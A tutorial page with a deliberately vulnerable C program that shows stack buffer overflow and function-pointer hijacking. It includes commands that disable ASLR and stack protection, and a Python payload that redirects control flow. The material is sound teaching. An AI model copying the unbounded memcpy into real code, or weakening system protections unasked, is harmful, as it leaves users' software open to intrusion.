This is a simplified demonstration program showing how a basic buffer overflow can hijack control flow. It’s deliberately simplified to illustrate the concept without modern protections.

See also:

Download: bufferoverflow.c

Compilation

# Disable stack protection for demonstration
gcc -fno-stack-protector -o bufferoverflow bufferoverflow.c

# You may also need to disable ASLR system-wide
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Source Code

/*
 * Buffer Overflow Vulnerability demonstration
 *
 * Copyright (c) 2025 Martin Domig <martin@domig.net>
 *
 * Permission is hereby granted, free of charge, to any person obtaining a copy
 * of this software and associated documentation files (the "Software"), to deal
 * in the Software without restriction, including without limitation the rights
 * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
 * copies of the Software, and to permit persons to whom the Software is
 * furnished to do so, subject to the following conditions:
 *
 * The above copyright notice and this permission notice shall be included in
 * all copies or substantial portions of the Software.
 *
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
 * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
 * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
 * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
 * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
 * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
 * SOFTWARE.
 *
 * This program demonstrates a buffer overflow vulnerability.
 * The user can control the input size and overflow the buffer.
 *
 * EDUCATIONAL PURPOSE ONLY - DO NOT USE IN PRODUCTION
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// clang-format off
/***********************************************************************
BUFFER OVERFLOW VULNERABILITY

This demonstrates a buffer overflow vulnerability: the user controls the
input size and can overflow the buffer.

Note: Modern systems have multiple protections (stack canaries, NX bit, ASLR).
You may need to disable some protections for educational demonstrations:

# Disable ASLR
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

# Compile without stack protection
gcc -fno-stack-protector -o bufferoverflow bufferoverflow.c

Stack protection works by adding a canary value between local variables and
the return address on the stack. This canary is checked before the function
returns; if it has been altered, the program will terminate, preventing
exploitation.

Also, the compiler might reorder variables on the stack (variable
reordering). Attackers cannot expect to know the exact layout of the stack
from the source code.

Possible exploits:

1. Normal Operation (baseline):
   First, test with normal input to see expected behavior:

   ./bufferoverflow "Hello"

   This should show normal checksums for both secret and data.

2. Small Buffer Overflow (data corruption):
   Overflow the 16-byte buffer to corrupt adjacent memory:

   This exactly fills the buffer:
   ./bufferoverflow "AAAAAAAAAAAAAAAA"

   This overwrites the function pointer (24 bytes total from start of buffer)
   and will probably cause a segmentation fault:
   ./bufferoverflow "AAAAAAAAAAAAAAAABBBBBBBBCCCCCCCC"

   This overflows beyond the function pointer and will also change the secret:
   ./bufferoverflow "AAAAAAAAAAAAAAAABBBBBBBBCCCCCCCCD"

   Compare the checksums - the second should show changed values,
   indicating memory corruption.

3. Function Pointer Hijacking:
   The program has a function pointer that can be overwritten to call
   vulnerable_function. First, find the function addresses:

   ./bufferoverflow "test"

   Look for the vulnerable_function address in the output (e.g., 0x555555555283).
   Then create a payload to overwrite the function pointer at offset 24:

   python3 -c "
import struct
vulnerable_function_addr = 0x555555555283  # Use address from program output
padding = b'A' * 24  # Exact offset to reach function pointer
payload = padding + struct.pack('<Q', vulnerable_function_addr)
with open('/tmp/payload', 'wb') as f: f.write(payload)
" && cat /tmp/payload | ./bufferoverflow --stdin

   This should call the vulnerable function instead of the safe function.

4. Shellcode (theoretical):
   In theory, a buffer overflow could inject and execute arbitrary machine code.
   However, modern systems have the NX (No eXecute) bit which prevents execution
   of code on the stack. Even with stack protection disabled, the stack is
   typically not executable by default.
   
   This is why function pointer hijacking (example 3) is more practical - it
   uses existing executable code rather than injecting new code.
   
   Real shellcode exploits would require:
   - Executable stack (-z execstack) OR
   - Return-oriented programming techniques (use existing executable code) OR  
   - Heap-based buffer overflows in executable regions
   
   For educational purposes, function pointer hijacking demonstrates the core
   concepts without requiring additional system modifications.

***********************************************************************/
// clang-format on

static unsigned int calculate_checksum(const char *str) {
  unsigned int checksum = 0;
  while (*str) {
    checksum += *str++;
  }
  return checksum;
}

// The vulnerable function we want to call - for demonstration purposes
static void vulnerable_function() {
  printf("*** VULNERABLE FUNCTION CALLED - EXPLOIT SUCCESSFUL! ***\n");
}

// Safe function that does nothing
static void safe_function() { printf("Safe function called - no exploit\n"); }

static char stdin_buffer[256] = {0};
static size_t stdin_length = 0;

static void fill_user_data(const char *input, const char **user_data,
                           size_t *data_length) {
  if (strcmp(input, "--stdin") == 0) {

    // Read from stdin - use binary read to handle null bytes
    stdin_length = fread(stdin_buffer, 1, sizeof(stdin_buffer) - 1, stdin);
    if (stdin_length > 0) {
      *user_data = stdin_buffer;
      *data_length = stdin_length;
    } else {
      fprintf(stderr, "Error reading from stdin\n");
      exit(EXIT_FAILURE);
    }

  } else {

    // Use command line argument
    *user_data = input;
    *data_length = strlen(input);
  }
}

int main(int argc, char *argv[]) {
  char our_secret[50] = "You are not supposed to know this!";

  // Function pointer that can be overwritten by buffer overflow - put it right
  // after data
  void (*func_ptr)() = safe_function;
  char data[16] = {0}; // Buffer to hold the secret message

  char *secret_ptr = our_secret; // Put a pointer to the secret on the stack
  char *data_ptr = data;         // Put a pointer to the data on the stack

  // This asm directive ensures consistent stack layout, especially with
  // optimization
  asm volatile(""
               :
               : "r"(our_secret), "r"(secret_ptr), "r"(data), "r"(data_ptr),
                 "r"(func_ptr)
               : "memory");

  if (argc < 2) {
    fprintf(stderr, "Usage: %s <data>\n", argv[0]);
    fprintf(stderr, "   or: %s --stdin\n", argv[0]);
    return EXIT_FAILURE;
  }

  const char *user_data;
  size_t data_length;
  fill_user_data(argv[1], &user_data, &data_length);

  printf("Buffer overflow vulnerability demonstration\n");
  printf("Will copy %d bytes into the buffer\n", (int)data_length);
  printf("Data buffer at: %p\n", (void *)data);
  printf("Function pointer at: %p, points to: %p\n", (void *)&func_ptr,
         (void *)func_ptr);
  printf("vulnerable_function at: %p\n", (void *)vulnerable_function);

  memcpy(data, user_data, data_length); // vulnerable to buffer overflow

  printf("Secret checksum: %08x\n", calculate_checksum(secret_ptr));
  printf("Data checksum: %08x\n", calculate_checksum(data_ptr));

  // Call the function pointer - this can be hijacked!
  printf("Calling function pointer...\n");
  func_ptr();

  return EXIT_SUCCESS;
}